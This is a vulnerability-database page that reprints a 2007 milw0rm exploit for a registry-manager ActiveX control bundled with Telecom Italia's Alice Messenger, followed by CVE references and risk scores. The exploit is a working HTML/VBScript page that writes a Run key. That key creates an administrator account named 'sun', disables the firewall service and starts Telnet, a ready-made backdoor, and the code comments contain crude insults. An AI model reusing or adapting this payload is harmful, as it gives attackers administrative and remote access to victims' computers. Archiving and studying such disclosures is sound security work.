Telecom Italy Alice Messenger - Remote Registry Key Manipulation
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2007-4740 | 6 Sep 200719:00 | – | cve |
 | CVE-2007-4740 | 6 Sep 200719:00 | – | cvelist |
 | EUVD-2007-4721 | 7 Oct 202500:30 | – | euvd |
 | CVE-2007-4740 | 6 Sep 200719:17 | – | nvd |
 | Design/Logic Flaw | 6 Sep 200719:17 | – | prion |
<!--
04.50 20/08/2007
Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1)
remote arbitrary registry key manipulation
I mean this one:
http://aiuto.alice.it/offerte/messenger/installazione.html
this was 0day for a while, but ... who knows?
the new version suggests to remove this dll, you know telecom guy, because it sucks...
Object Safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:19092490-676B-4C06-A158-34F1CD2DE517' id='HPRevolutionRegistryManager' /></OBJECT>
<script language='vbscript'>
group="HKEY_LOCAL_MACHINE"
section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
key="sun-tzu"
valType=1 'REG_SZ
value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config TlntSvr start= auto & net start TlntSvr & echo whatthefuck(!) & pause" 'you meretrix...
HPRevolutionRegistryManager.WriteRegistry group ,section ,key ,valType ,value 'die of miserable death mommy
</script>
</html>
# milw0rm.com [2007-09-03]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.03715